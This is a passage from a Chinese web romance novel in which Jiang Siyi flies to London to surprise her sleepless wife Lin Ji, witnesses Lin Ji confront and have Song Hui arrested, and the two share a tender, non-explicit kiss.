别人看到她脸上的疤,不是觉得丑陋就是感到害怕。 也就这人,会说什么漂亮脸蛋。 难怪能养那么多“宠物”,每只“宠物”还都对她死心塌地恋恋不忘的。 轻浮的阿姨。 但真有魅力。 樊青嘴角漾起的微笑弧度半天没落下去,见玻璃倒映中多了一个人。 林棘披着外衣走到吧台,要了杯酒。 樊青把手机锁屏,摘了耳机挂在脖子上。 “BOSS。” 林棘坐到她对面:“也睡不着?” “嗯,我调一下时差回头就能补。你又失眠了?” 林棘点点头。 本来早对失眠习以为常,也能强撑。 可前阵子因为姜司意就在身边,睡了几天的安稳觉,眼下再一次陷入失眠的状态,竟矫情地不太习惯了。 林棘将手里的酒一饮而尽,抬手,示意侍应生再来一杯。 樊青:“还是得喝慢点。” 嘴上在劝,只是跟在林棘身边这些年,知道自己BOSS的脾气,并不是她能劝得住的人。 很多时候需要工作,又睡不着觉,BOSS惯用的手法就是利用酒精强行召唤睡眠。 酒精有时候的确有用,能够提升入睡的概率和速度。 副作用当然不可能少,包括但不限于第二日的头疼、乏力,胃部不适和心律失常。 为了支撑工作,林棘对自己下手一向狠。 连樊青这种从“黑暗丛林”里削尖了脑袋拼死挣出来,手上沾过血的人,都觉得林棘挺不把自己当回事的。 今年之前,在她眼中自家BOSS就是无情无欲的AI,没想活几年,隐秘且不可知的岁月里,早就不知道把半条命连带着七情六欲丢在何处了。 直到亲眼看见她和姜司意的重逢。 遗失的魂魄似乎一点点重新拾了回来,又像个活人了。 林棘拿起酒杯就要再喝,樊青难得继续多嘴。 “如果太依赖酒精,可能会引起严重的头痛。姜小姐知道会担心的吧?” 酒杯停滞在嘴边。 想起听到她出了车祸,担心地拉住她的姜司意,凝视时眼里带着真实的担忧。 不愿让那双漂亮眼睛染上任何失望的情绪。 犹豫片刻,随着一声闷响,她将酒杯放下了。 樊青心道,“姜小姐”这三个字,堪比特效药。 林棘让楼层管家帮她拿本书,有俄语原版的最好。 楼层管家送来一本俄文原版《奥勃洛莫夫》。 有点没礼貌,不过这本书催眠感的确惊人。 俄文版效果加倍。 樊青趁林棘看书的时候,偷偷拍了一张照片,配上一段文字,发朋友圈。 她善解人意了这么多次,该换段小姐来善解一下了…… J城,嘉仕比。 会上继续讨论秋拍事项,到了尾声的时候,吴经理说两年一度的嘉仕比集团全球交流会即将召开。 “作为今年国内业绩上升最快的部门之一,咱们金石玉器部将有幸代表J城出席。展现咱们部门风采的时候到了,怎么样,谁有兴趣,主动报个名?” 听吴经理这么说,金石玉器部的所有人两眼一抹黑。 嘉仕比集团的交流会就是集团内部的业绩分享会,不仅无聊,还得准备精彩的演讲。要为部门、为分公司争光。 主打一个吃力还容易不讨好。 更可怕的是,每一届的交流会都在伦敦举行。 上一届去的是油画部的拍卖师。 那位拍卖师从伦敦回来之后,累瘦五斤,看到土豆就恶心,调理大半个月才调理回来。 从那之后,“集团交流会”在嘉仕比都市恐怖传说排行榜上独占鳌头。 吴经理微笑地等待同事们毛遂自荐。 可惜,没人自荐。 别说自荐,现场连敢大喘气的都没有。 在一片安静中,吴经理看向段凝。 段凝被她看得一激灵。 好事想不到我,这种破事第一个就惦记我是吧? “婉拒了哈,上次我已经参加过国内总部的交流会了。” 说完之后又觉得有点不妥。 她私下和吴经理关系不错,老开玩笑,可这是在开会,她语气有点太放松了。 要是别的同事因此觉得吴经理太好说话,恐怕对她以后管理工作不利。 段凝补充道:“经理大人,人家真的为部门付出太多了。这次可以换个人去不?伦敦哎,没人想去吗?可以顺便旅旅游。” 有人提议:“那肯定是小姜去了,咱们部门的顶梁柱。” 其实在听到“伦敦”这两个字的时候,姜司意就有点心动了。 林棘就在伦敦出差,不知道什么时候能回来。 要是去伦敦,说不定能见上林棘一面。 只不过,她不好直接开口去要参加交流会的机会,像在邀功。 再者,林棘出差是为了解决棘手的工作,很忙,她去会不会打扰对方也未可知。 还有太粘人的嫌疑。 就像接了吻就要讨些关注似的。 姜司意权衡着,对推荐她的同事笑了笑,没有开口。 吴经理看姜司意没吭声,估计是不太想去。 谁想去啊,换她她也不乐意飞那么远,就为了那破会。 吴经理只好玩狠的:“那咱们得抽签决定了。” 同事们怨声载道。 “不是吧,这么狠毒吗?” “我人品一向不好,申请提前退出。” “那在座的人品都好不了了。” 吴经理手机在桌上震,她看了眼是顾总的电话,对众人“呵呵”两声。 “明天开会之前没人主动报名,就抽签定生死。喂,顾总……” 从会议室出来,段凝挽住姜司意的胳膊,轻声说: “你发现了吗?万欣没来开会。” 姜司意回想,刚才会议室里整个部门都在,就万欣没露面。 “对哦。” 段凝:“听说她离职了。” 姜司意并不在意别人的事,就跟段凝随意一提,就各自工作去了。 正在拉拍品表格的时候,登录的电脑端微信上跳上来一个人。 Oliver。 都差点忘记这人的存在了。 就淡淡看了一眼,没点开信息,没让他耽误自己的时间,继续工作。 快下班的时候,姜司意去打拿打印文件,段凝一阵小跑跑到她身后,暗暗拽她衣角。 “咱们林棘姐姐怎么了这是?” 姜司意心里一咯噔,立刻接过手机。 屏幕上是樊青的朋友圈。 【出差,新一轮的失眠,幸好有老板陪着。老板比我失眠还严重[叹气][叹气]】 还配了一张照片。 照片里的林棘坐在桌对面,环境并不明亮,似乎在酒吧。 林棘长发披肩,手边还有一只空酒杯。 原来是失眠。 先前林棘说在海外出车祸,弄得她刚才乍然听到段凝的话,脑海中闪过的是恐怖的意外,幸好…… 稍微松了口气之后,再看照片。 不知道别人能不能看出来,姜司意一眼就发现了,林棘精神状态很不好。 那双总是清凛聪慧的眼睛,此刻被倦意压得无神。 查看原图,还能看到眼里的血丝。 所以,已经喝空了一杯酒。 想用酒精来帮助睡眠么? 这样只会更不舒服的。 照顾别人照顾得妥帖,处处细心,怎么对自己就这么粗糙敷衍? 担忧的情绪在姜司意的心上左摇右晃。 生出一股滚烫的冲动。 转身往走廊深处去,敲开了吴经理办公室的门。 正在转电子笔的吴经理抬头,姜司意已经走到桌前。 “我想申请去伦敦的交流会。” 那时的姜司意没有意识到,心里装满了想见林棘的情绪,已经将“粘不粘人”的顾虑抛在脑后…… 回到酒店房间,书放在床头柜上,林棘睁着双眼,安静地看着天花板。 倦累不管不顾死死拉扯着她的神经,心跳过快,似有人擂鼓一般擂她的心。 窗帘之外已经透入天光。 又一个白昼降临,还是没能睡着。 当然知晓自己为什么无法入睡。 曾经无法靠近,也完全触不到她的那些年都熬过来了。 如今拥抱了她,得到了她的吻,反而变得无法承受寂寞。 好想她。 重新握住柿柿如意。 没有揉捏,就轻轻托在手里。 借由它想象着姜司意就在身边。 …… 机舱内,等待起飞的时候,收到社区管家发来的视频。 视频里的雪球在宠物乐园里,正和一只柯基一起玩玩具,看上去已经适应了寄宿的环境。 管家面带职业微笑,对着镜头说:【姜小姐可以登录我发给您的监控链接,实时查看雪球的状态,监控我们24小时都保持在线的。想要和雪球连线也可以哦。家里还有其他什么事也欢迎随时联系我。祝您旅途愉快。】 姜司意:【好的,谢谢。】 社区服务一切都很到位,离开家这段时间也不用担心雪球。 飞机冲向云端时,看着J城越来越小,姜司意的心被期待填满。 与此同时,“太粘人”的隐忧也随着理智一同回归。 却也学会给自己找借口。 ——毕竟我是去工作的。 退一万步说,感情好的新婚妻子飞跃千里去见爱人一面,多正常呢…… 铅灰的云层低低地压在天顶。 樊青载着林棘返回酒店时,雨滴终于穿过了云层,陆陆续续打在车顶,很快在视野里连成一片雨幕。 刚才和律师团队碰面时精明果断,强大的控场能力让所有人无法不信服的林棘,此刻戴着眼罩,把车椅放置最平的状态,一言不发,静谧无声,像一片无魂的影子。 樊青知道,她还是没能睡着。 算起来,BOSS已经超过四十小时没有入睡了。 在她过往的失眠历史中都算严重。 快到酒店时,林棘沉缓开口问道:“她联系我了吗?” 身为年薪百万的优秀助理,不用BOSS说出完整的名字,樊青也知道问的这个“她”是谁。 最近BOSS关注列表第一名永远都是那位三字女士。 都无需优秀助理开启智慧雷达,恐怕换成任何一位友人都能轻易猜透。 姜司意是有发来微信,只不过没发给林棘,发给樊青了。 以及周霓也在电话里说姜司意突然前往伦敦,她因为签证关系没法跟出去。 散装吐司:【樊小姐,我要到伦敦出差,能不能把她的酒店地址给我?我想去找她。然后……请暂时别告诉她这件事,我想给她一个惊喜。】 果然是妻妻,连用“她”的手法都一模一样。 姜小姐居然直接来伦敦了。 看来段小姐在善解人意这方面,还是有点心有灵犀。 这“差”也出得挺懂事,目的地正好是有老婆的地方。 只是眼下有一点让樊青犯难。 她不想破坏姜小姐的计划,浪费人家的心血。 能想象,看到姜小姐飞跃亚欧大陆忽然现身,BOSS肯定会开心的。 起码严重的失眠问题有望缓解。 麻烦的是,她是BOSS的私人助理,是最需要彼此信任的关系,不好对BOSS有任何隐瞒,这些年她从未隐瞒过BOSS任何事。 思来想去,樊青说:“BOSS,姜小姐说她来伦敦出差了,想要你酒店的地址,在你不知道的情况下给你惊喜。等你见到她,能不能假装从来不知道这件事?” 林棘:…… 【作者有话说】 林棘:又是被老婆宠的一天[垂耳兔头][垂耳兔头][垂耳兔头] 50-60 第51章 ◎捞起她的腿弯◎ 调回座椅,摘去眼罩。 “什么时候到?” “根据姜小姐发微信的时间和J城直飞的航班判断,可能在半个小时之前已经到希思罗机场了。” 林棘沉默一阵,看向车窗外的雨幕。 一声不吭坐十一个小时的飞机得多累。 还要给我惊喜。 心里有些不舍姜司意这样折腾自己,眉眼却已经因为这份内敛的宠爱沾染了笑意。 别无他法,林棘只能配合姜司意的小心思。 “到酒店后,麻烦你就去接她。” “好的。还有一件事,或许你会想在见到姜小姐之前处理完。” 酒店就在前方拐弯处,等待最后一个红绿灯时,樊青说: “宋慧也来伦敦了,迫切想和你见一面。” 林棘依旧在看车窗外的街景,听到“宋慧”这个名字,暂停带姜司意去哪几家餐厅吃晚餐的思绪。 总算找来了,宋缇这个姑姑比她想的还要迟钝些。 “在哪?” “阿绛说,人已经在酒店大堂等了三个小时。” 阿绛是这次出国特意聘请的保镖团队负责人。 上次在国外出的意外让樊青长了教训,这回又是突发状况,来得匆忙,更怕有陷阱,自然得布局得更严密,确保万无一失。 从后视镜观察林棘的状态,樊青问: “需要我去打发她吗?” “不,我来。” 酒店内。 林棘站在二楼,俯视楼下大堂里的宋慧。 宋慧坐在单人沙发上,目光频频在四周和手机屏幕上一趟趟地穿梭,惴惴不安。 头发有些不够体面的凌乱,鬓角新生出的白发也没来得及打理。 行李箱就在手边,看来她是连夜飞来的。 按理来说,她现在的情况应该无法出国,居然还能找过来,的确是混迹西五区多年的老油条。 越是如此,真正调查起来能剥出来的黑恶就越多,罪越重。 看宋慧的状态,这回是真着急了。 想起瑞华银行宴会那日,宋慧对姜司意刻薄得毫无顾忌,林棘没立刻下去。 不紧不慢地在二楼咖啡厅坐下,等服务员端来咖啡和法式土司的时候,给阿绛打了个电话。 再把昨天没看完的《奥勃洛莫夫》拿出来,继续慢吞吞地阅读。 还是宋慧率先发现了林棘。 这女人就像在度假,毫不掩饰地晾着她。 宋慧坐到她对面,很生气很愤怒,却不敢说重话。 “小佑。” 宋慧沉着声,尽量保持着得体的谈吐。 “我知道,之前为了Stella的事我用了些手段,对司聆而言不公平。可也罪不至此……如果真的定罪了,我可能要在监狱里度过余生。” 林棘没有抬起眼眸,只平静地翻了一页书。 深夏时分,想到自己多年的经营即将毁于一旦,黑暗前程就在眼前,宋慧额头上冒出一层冷汗,双手紧扣在一起,不断地调整呼吸。 “是我不对,我已经亲自打电话向司聆道歉了,是我一时糊涂,她也没有再怪罪我。” 事实上,姜司聆只是挂了她的电话,没有再给她说下去的机会罢了。 宋慧绞尽脑汁,“如果当时,当时司聆真的签了NEXT,现在也无法和ArtS结缘。ArtS可是西五区最顶尖的现代艺术公司,运作能力是NEXT无法比拟的……我不是在邀功,但这,也算是因祸得福吧?” “这么说起来,还得感谢你了。” 林棘终于抬眸,向宋慧投来平静却莫名让人毛骨悚然的目光。 “她在走投无路的绝望中,将所有心血付之一炬,那时的她拥有的只是痛苦,刽子手却说自己有功劳?” 林棘的冷笑很淡,话中讥讽的意味很浓。 “如果我把这把餐刀叉进你的眼睛里,从此之后你再也不敢狗眼看人低,那你是不是也该感谢我,觉得是因祸得福?” 随着林棘的话,宋慧目光很难不转向她手边锋利的餐刀。 惊愕的情绪压在心口,宋慧呼吸都变得缓慢了。 “姜司聆有才华,总有一天会登上属于她的舞台,得到该有的瞩目和回报。那些给予她苦难的人只配在自作自受中羡慕仰视,没有资格来谄媚,分一杯羹。” 宋慧前半辈子过得顺风顺水,钱权不愁,从来没有被人这样羞辱。 她能想到这次伦敦之行肯定不好受,没想到的是,林棘的嘴比她想象的还要狠毒。 脸色渐渐涨红,还不得不忍气吞声。 宋慧只好打最后一张牌。 “小佑,咱们是亲家,这些年我们宋家和你们林家也算互相扶持,一起成长起来的。这是切不断的亲情。要是你这么做了,你小姨该怎么想,你表妹会如何看你……” 林棘捻起那把餐刀。 餐刀的寒光从宋慧眼前闪过,让她骤然一顿,所有话都堵回了嗓子里。 “那又如何?姜司意是我妻子,她姐姐就是我姐姐。你们宋家算什么东西?” 这句话宋慧没法不耳熟。 当初她砍断姜司聆的职业道路时,姜司意质问她——你明明知道谁才是做错的那一方。 彼时的宋慧随心所欲地讥讽姜司意——那又如何,Stella是我侄女,你和你姐姐算什么? 如今被林棘以其人之道还治其人之身,被自己的话堵得哑口无言,宋慧脸色差至极点。 看来林棘是不可能放过她了。 宋慧也不想继续自取其辱,不再多说,起身要离开。 忽然四名警察围了上来,宋慧震惊之余想逃跑,对方已经把她控制在中心,来不及了。 她难以置信地回头看林棘。 原来林棘维持着慢条斯理的怠慢,不止是羞辱她,更是在等警察。 从一开始,林棘就想把她送进去。 宋慧脑子里嗡嗡地响着,摇晃的视野中,她看见姜司意正站在不远处。 姜司意亲眼看到了她是如何自食恶果的。 警察就要扣住宋慧,她吸了一下鼻子,抬起脑袋用英语说: “别碰我,我自己会走。” 宋慧离开了。 在酒店来来往往行人的注目中,林棘缓缓把餐刀放下。 看了眼手机,预估着姜司意应该会在半个小时后到达。 正好解决了宋慧,可以继续选择晚餐的备选餐厅。 超过四十个小时没睡,期间开了一场漫长的、需要高度集中注意力的会,又打发了个麻烦,此时林棘大脑不可避免运行得稍微慢了些。 没有发现姜司意已经在她身后。 一小时前,姜司意下了飞机,没等樊青回复她就自己打车往市里来。 在她的字典里,没有非要谁接的概念。 樊青在酒店前面两条街和她碰面的,没几分钟就抵达了酒店。 所以,刚才林棘和宋慧的对话,以及宋慧被逮捕的整个过程,姜司意全都看到了。 ——姜司意是我妻子,她姐姐就是我姐姐。 这句让人耳尖发红的话,姜司意也听得一清二楚。 看林棘还没发现身后的异常,樊青正想出声提醒。 一直坐在侧边沙发上的两位年轻美艳的女孩握着手机站起来,带着兴奋又腼腆的笑容,互相推着对方,一起挪到林棘面前,用英语向她搭讪。 问她名字,问她是不是模特,能不能加个好友。 姜司意刚向林棘迈出一步的脚步顿住。 连樊青都一秒进入紧张状态,大气不喘。 林棘目光随意扫过眼前两个人,用字正腔圆的中文说: “抱歉,我听不懂英语。” 姜司意和樊青:…… BOSS的公司在海外上市,不仅会英语,熟练程度还比肩母语。 能无比顺畅地用伦敦腔说服各大董事,用俚语调侃个别股东。 无论是满篇拉丁文术语的法律文书,还是动辄上百页的财报,分析、阅读起来都不在话下。 居然装作不会英语来完全切断搭讪的可能性…… 樊青心想,学到了学到了。 没想到那两个女孩忽然转换了语种,用蹩脚的语调说起中文。 “没关系,我们会中文。” “姐姐好美,加个好友!” 本不想和陌生人说那么多隐私的事,眼下也只能抬起手,亮出戒指。 林棘:“我结婚了。” 两人直接坐到对面的空位上,一左一右。 金发碧眼双手撑着下巴,棕发蓝眸耸肩前倾。 “结婚也可以有新朋友吧?不然生活多乏味?” “加个好友没关系的姐姐。” “我们很乖,姐姐不让捣乱,就不会捣乱。” “单纯想欣赏姐姐美貌。” “当然也可以不单纯。” “都听姐姐的。” 美艳的少女一人一句,攻势汹涌,像两只轻易能诱惑人心的魅魔。 姜司意没想到,到了国外也能遇上“妹妹军团”。 樊青完全没敢看身边老板娘的表情,生怕继续发展下去会引发可怕的后果。 身为百万年薪优秀助理,哪里有修罗场,哪里就是她的舞台。 樊青双手交叠在身前,不疾不徐地唤了声。 “BOSS。” 林棘动作有明显的停顿,回眸。 看到了姜司意。 林棘:。 甚至闭了下酸涩的眼睛,再睁开。 的确是姜司意。 樊青双唇微抿。 看来这下是真的出乎意料,真的惊喜,连演都不用演了。 林棘的目光锁定在姜司意身上。 难得的失算,和预计到达的时间不太一样啊…… 姜司意凝视她的神色则更复杂。 不知道姜司意听到了多少,解释的话已经堆到心口,见姜司意再次迈开步伐向她走来,坐到她身边。 随后不发一言握住了她—— 用那只戴了相同戒指的手。 林棘的目光中,窄窄的、白白的手覆盖在她的手背上。 素圈圈着纤柔细指,安静地散发着低调的光。 两只小“魅魔”打量了姜司意一番,自然也看到了她们戴着相同的结婚戒指。 有点扫兴地看向彼此,抬了抬肩膀,离开了。 见对方离开,姜司意缓了口气。 以前也知道林棘受欢迎,现在的心态却已经不太一样。 看到别人靠近她,左胸腔里那颗心便像被人无情地挤握,拧出让她难受的酸涩感。 余光里发现林棘在注视她,心想,我刚才的占有欲是不是太真了? 林棘正想要反握住她,她在犹豫间撤开了手。 方才覆盖在肌肤在上的温度和紧扣的紧密度撤离,林棘手上一阵空虚,姿势也有点尴尬,只能自己虚握成拳。 已经知道姜司意为什么来,心里念着“惊喜”这件事,便配合着明知故问了一遍。 “怎么来伦敦了?” “我来开交流会的。今年是我们部门代表J城嘉仕比参加集团的全球交流会,我想你刚好也在,就,反正也要工作,就过来看看你。” 姜司意一边说一边起身,走向放在旁边的行李箱。 也不揭穿她,林棘依旧欣赏着“一说谎就解释很多”的姜司意。 在她拿到行李箱之前,先一步握住拉杆。 与此同时,看向樊青。 樊青解释道:“我刚把你送到酒店,就在前面两条街接到了姜小姐。” 意思是,BOSS你自己算算她听到又看到了多少。 按照林棘原本的计算,姜司意到酒店的时候,她已经解决完宋慧的事。 没看见碍眼的人,就没有想起不愉快过往的机会。 结果…… 姜司意不仅看到了她面对宋慧时夹枪带棒的冷嘲热讽,还见识到她杀人先诛心的犀利手段。 那些恐吓的言语,恐怕也都落入了姜司意的耳朵里。 更不用说莫名奇妙被目睹了搭讪现场。 好不容易没那么害怕了,现在不知道有没有前功尽弃。 千里迢迢过来看她,可别被吓着又被气着了。 林棘心里荡过千言万语时,发现姜司意正在观察她。 担忧地微抬眼眸,仔细地观察眼前女人的脸,眉心渐渐蹙起一座忧虑的小山丘。 才不到两天的时间,眼前人肉眼可见地消瘦。 看起来状态是真的很差。 “眼睛里都是血丝,黑眼圈这么重……这两天你睡了多久?” 一开口,率先关心林棘的身体状态。 没说宋慧的事,也没有如林棘担心的那般,被她冷厉的另一面吓到。 吃醋也就放在内心深处偷偷吃。 只被她绯红的眼尾和眼下的青黑弄得心疼。 宽慰的话当然可以说,可林棘不想对姜司意撒谎。 也有点坏心眼地想让眼前的女人更在意她一点。 林棘:“没睡过。” 听到这三个字,姜司意陷入一阵沉默。 那份酸涩感又一次袭上心头。 想要抚过她脸庞上的所有疲惫,一一熨平。 手动了动,没有真的这么做,就自己握着自己。 “那……” “没关系,已经习惯了。” 樊青的目光在老板和老板老婆之间穿梭。 她该功成身退了。 “BOSS,我去处理工作了。” 林棘:“辛苦了。” 樊青离开,林棘没有多言,拉着姜司意的行李箱往扶梯的方向去。 大多数时候林棘是体贴入微的。 偶尔,体贴的雷达也会忽然失效。 比如现在。 姜司意看着她的背影有些无言。 我没说要住在这里啊…… 林棘住在二楼最里侧的套房。 套房面对着酒店的小花园,很安静。 林棘把她的行李箱放好,又给她三个备选餐厅。 一家法餐,一家中餐,还有一间日料。 “这三家的口味都不错,你看想吃哪家。” 姜司意摇了摇头,“我不饿,在飞机上已经吃过了。我想你先去休息,试着睡一睡。” “飞机上的食物……” “你先去休息。” 姜司意眉心还是那样拧着,语气并不强势,一如既往轻轻软软,但纯然的眼睛里写满了笃定和坚持。 被她这样凝视,林棘只能说:“好。” 要是有第三个人看到,会幻视一个画面—— 一只白乎乎软绵绵的小羊,让凶狠的大狐狸坐下,大狐狸就真的乖乖坐下了。 林棘不太舍得拿和姜司意相处的时间去睡觉,无奈姜司意这么坚持,也不想逆她的意。 “那我先去洗个澡。” 姜司意点点头。 “对面的房间里还有一间浴室。” 意思是,姜司意可以同一时间也去洗。 姜司意:…… 她奔波了十多个小时,的确需要洗个澡。 但,和林棘独处一室,听到“洗澡”这两个字的时候,难免浮想联翩。 姜司意没看林棘,机械般再次点点头。 林棘去洗澡了。 水声从远处传入她的耳朵,引起后颈的燥热。 洗完澡出来时,看到穿着熟悉睡裙的林棘站在mini吧前,正在为姜司意调她最喜欢的饮料。 碍于远在海外,没法给她喝喜欢的草莓果汁,林棘有些不太满意地微垂眼尾。 乌黑浓密的长发还沾着些水汽,裙下的小腿皮肤水润皙白。 太过清晰的成熟美感冲入姜司意眼底。 让她脑海不由自主浮现一个念头—— 我和她接过吻。 接吻过的两个人再次单独相处时,会再发生什么,作为成年人装不了蒜。 早或晚,什么时候开始,以什么样的形式开始罢了。 心跳乱了好几拍。 林棘看了过来。 而姜司意假装若无其事走到办公桌前。 背对着林棘。 林棘只能看到她瘦瘦的背影,以及在睡衣之下隐约可见的窈窕身形。 盘起的头发下,小小的翅膀文身占据了她白净的脖子最醒目的位置。 拿起手机,想看看公司给她预定的酒店在哪里,思索着要不然跟同事说一下可以取消了。 “司意。” 冷香从身后传来,一双手臂忽然将她拥住。 姜司意呼吸凝滞。 黑色的卷发掠过脖颈,轻轻刮着她的皮肤,一点点酥麻的感觉缓缓汇聚在心尖上。 身后人无声依赖着她。 拥她的双臂紧密到骨头在发痛。 浓烈的情绪压抑在短短一句的字里行间。 “我想吻你。” 指背上沁出一些羞赧的红晕,姜司意眼睫紧张地轻动。 她抬眸,看到镜子里自己被林棘抱在怀里的画面。 视觉的冲击感让她呼吸不由自主地加快。 “嗯……” 微不可闻地应了。 滚烫的吻覆盖上微凉的双唇,迅速将它们碾热。 还是那般凶。 姜司意被吻得连连后仰,退无可退,往后倾倒。 被迫踮起脚尖,半坐到办公桌上。 吻在火热地深入。 姜司意胸口控制不住地起伏。 吻她的女人捞起她的腿弯。 将她整个人抱到桌上。 双腿没办法有别的姿势。 只能被挤开。 啪嗒。 室内拖鞋落在地上。 无力的腿弯被勾着,发软的腰肢也落入单臂之中。 薄薄的身体被抱着她的女人用力往怀中紧压,无处可逃。 吻得深深浅浅,一时让姜司意受不住,一时又觉得不够。 唇舌被她吮弄着。 嗅觉里也都是她一个人的气息。 往前二十五年的人生,循规蹈矩的姜司意几乎没有出格地坐过桌上。 第一次坐上桌,居然是和林棘在接吻。 姜司意被亲得发晕。 难耐又舒服。 昏昏沉沉间才意识到,她们就这样直接又汹涌地开始了…… 【作者有话说】 林棘:宠妻第二十一步,直接开始宠[垂耳兔头][垂耳兔头] 52 第52章 ◎不知餍足◎ 技巧和占有欲兼具的唇舌在不断侵占,已经让姜司意腰肢发软,招架不住。 那只环抱着她的右手还从发烫的腰间往上游走,抚至后脑。 滚烫的热意在脊柱上蔓延。 受不了抚弄的刺*激。 姜司意无法合拢的双唇轻轻地发颤。 不知所措的软舌还在被勾引着,一刻不停地纠缠着。 比想象中还汹涌的陌生刺激感,让姜司意两只耳朵红透。 扶在林棘肩头的手指无意识地用力,捏着她的肩膀。 把自己的指尖捏成了粉白色。 细碎的声音快要失控,发热的脑中浑浑噩噩,仅有的一丝精力都放在自控上。 或天生性格使然,或后天造成的压抑,姜司意在亲热这方面很没有天赋。 陪林棘“做戏”,当她的一日女友时,不会撒娇不会调情。 真如清心寡欲的苦行僧。 只想着事业上的修行,觉得只有靠自己的双脚站稳了才能站得踏实。 极少会念及肌肤之亲,更不用说渴望此事。 真到了亲热之时,因为不熟悉,所以懵然。 无论是动情还是动念,都是沉抑的。 难以表达,不知表达。 即便早就在林棘的吻里融化,也只有细细的,微不可闻的滚烫鼻息。 完全跟着林棘的节奏。 或含或吮,或抱或抚,只由着对方,非常被动。 姜司意的僵直和隐忍,正和她热吻的人不可能感觉不到。 林棘的吻忽然轻了些,似要抽离。 全程闭着眼的姜司意,察觉到对方的后撤,眉头轻轻疑惑地堆起一座小山。 要结束了么? 多日不见,林棘的气息,和热吻的香软甜蜜让她魂不守舍。 即便性格再被动,内心深处那不熟悉的渴慕也早就被激发。 就这样停止的话,不太舍得。 稍微分开时,紧密的吻有了些间隙。 姜司意心中略略有阵失落,就待睁开眼睛。 单手压着她后脑的女人却在这时忽然吻得更深。 猝不及防,无法自控的“唔”从她喉咙深处,跟着明显加重的鼻息一同失控地流泄。 漂亮的脖子因为承着吻,仰起间绷成一条优美的曲线。 那只修长雪白的女人手,控制着她的动作,让她没有任何避开的机会。 深入发丝,在她浓密的黑发之间动情又极有掌控欲地摩挲着。 搅乱她的头发,煽起她的心跳。 黑白分明,美如油画。 另一只手顺着脖颈扣住她的脸庞。 指尖似无意地从发烫的耳垂上掠过。 轻轻拨弄。 一拨一弄间,如弹拨姜司意的心弦。 姜司意又被弄得漏了一声。 红潮从耳朵蔓延至脖子。 纤细后颈那双林棘亲手文上去的小翅膀,此刻也完全浸在撩人的绯红之中。 怎么吻到床上的,姜司意根本不知道。 手被十指相扣,摁在床面上。 指尖舒舒张张,像早就超速的心脏,强力收缩着。 吻她的人根本不知餍足。 她也在浑浑噩噩间,六神无主地任人予取予求。 很不会接吻的女孩气息越来越混乱。 快要喘不上气,难受地哼呢着。 难耐和真正的难受,林棘是分得清的。 在沉闷的喘息间,终于不舍地停下。 “呼吸。” 林棘教她。 姜司意无声地哽了两下,跟着林棘的教导,慢慢平复节奏。 昏暗的房内,是热吻后交替绵延的热息。 姜司意睡衣的衣领扣子松了两颗。 下摆也堆叠在腿根上。 看向别处的眼眸中水光清晰。 单薄的胸膛不断起伏,总是梳理得整洁精致的头发毫无章法地铺在床面上。 双唇好红,还肿肿的,看上去鲜红欲滴,可可怜怜,仿佛再碰一下就会溢出鲜血。 林棘当然知道是谁把她欺负成这样。 是谁把缩着肩膀的她弄得乱糟糟。 即便姜司意太有诱惑力,太让她着迷,刚才的吻也过了点。 林棘有些后悔地想,会不会又觉得我很可怕? 刚刚那样热吻,此刻近距离对视,太容易暴露状态。 姜司意实在不知道该用什么表情面对刚刚亲热完的林棘。 怕自己的脸庞染上太多藏不住的春。情,所以不敢看她。 察觉到沉默,也觉得自己稍微缓过来了些,才转眸看向身上人。 在对方的眼中看到了担忧。 嘴唇是好痛,但,是开心的。 她其实很喜欢林棘对她的占有欲。 无论这占有欲是暂时的,是一年还是两年……都好。 她都好喜欢。 见姜司意凝视她的眼神里没有真正生气的神色,林棘稍微松了口气。 仔细研究过,真正实践的时候还是和想象的有差别。 林棘对自己不太满意。 “很疼?” 指背蜻蜓点水般掠过姜司意那双被弄肿的唇。 “说过的,我不怕痛。” 姜司意软软地笑,没有半点责怪她的意思。 反而担心她有没有太累。 这么近距离看,眼下的青黑好吓人。 想去摸林棘的脸,手在原地动了动,又放下,担忧地说: “试着睡一下好不好?” 姜司意温软的语调和温柔的笑意有种魔力。 让林棘睡,林棘就真的有了睡意。 在接吻停止的五分钟内,就陷入了沉沉的睡眠。 她从来没有这么顺畅的入睡体验。 独睡时的不安,和已经越过极限反而更难入睡的疲惫,被姜司意的存在感消融了。 呼吸平稳,双手搭在腹部上。 睡意拥抱着她,沉入梦境之海。 姜司意趴着,观察她睡着时的脸。 之前是睡在一起了,只是每次林棘都比她睡得晚,醒得早,根本没有观察她睡颜的机会。 更早还没真正同居之前,因为自己糟糕的睡相,醒来时兵荒马乱的,也来不及细细品味。 姜司意将下巴搁在手臂上。 原来林棘睡姿都这么拘束。 眉心还微微拧着。 梦到什么了啊……这么紧绷。 抬起指尖,轻轻触到那不知为何拧紧的眉心上。 先是点了点,确定不会吵醒她,才慢慢地轻揉,想将这烦恼替她揉开。 纷杂的梦境注入了一股温暖的气息,渐渐黯淡,消失。 林棘难得陷入了一段无梦黑甜。 眉心不拧了,姜司意满意地笑。 这么一笑,嘴唇真的有点痛。 下床,去行李箱里找到润唇膏,轻轻地给自己红肿的唇抹上。 想了想,蹑手蹑脚回到床上,也给林棘抹上。 好漂亮的唇,还,那么会接吻。 得好好保护起来。 想到刚才和林棘做的事,姜司意还没完全褪去红晕的脸庞,又迎来一阵热潮。 怕用唇膏控住不好力道,弄醒好不容易睡着的林棘。 把油润的唇膏粘在指尖上,再小心仔细地、缓缓地抹到唇面上。 等林棘醒来,嘴唇就不会发干难受了吧。 …… 窗外的雨水什么时候停歇的,流光何时敛尽的,相伴而睡的两个女人完全不知晓。 姜司意也睡着了,在伦敦时间早上七点醒了过来。 正好的起床时间,都不用怎么调时差。 林棘还在睡,姿势都没变过,依旧平躺着。 姜司意睡相还是很不好,所幸这回没有动手动脚,只是挨到林棘身边,额头顶着林棘的胳膊。 像只依赖主人,却不敢造次的小狗。 睡前她也是老实躺着的,结果在睡梦中下意识靠近林棘。 不出所料,在一次次的越界中,已经越陷越深了…… 姜司意在心里为自己默默哀叹,却也没有立刻离开。 既然都挨上了,脑袋就趁势轻轻蹭了蹭林棘的手臂。 樊青说林棘这次失眠很严重,超过四十个小时没睡,还在高强度工作,应付一些麻烦的事,麻烦的人。其中还有姜司意惹来的宋慧。 自己一来,林棘就睡着了,还睡了这么久。 嘿嘿。 苦恼深陷爱慕,但能用特殊方式哄林棘睡着,为她解决了失眠这个大麻烦,还蛮有成就感的。 肚子有点饿,安静下床,洗漱之后坐到外面客厅沙发上,拿来厚厚一本菜单,看看有什么吃的。 实在不想出门觅食,就点了些简单的套餐到屋里。 等饭的时候,联系负责这次交流会的同事,退订公司那头预定的酒店。 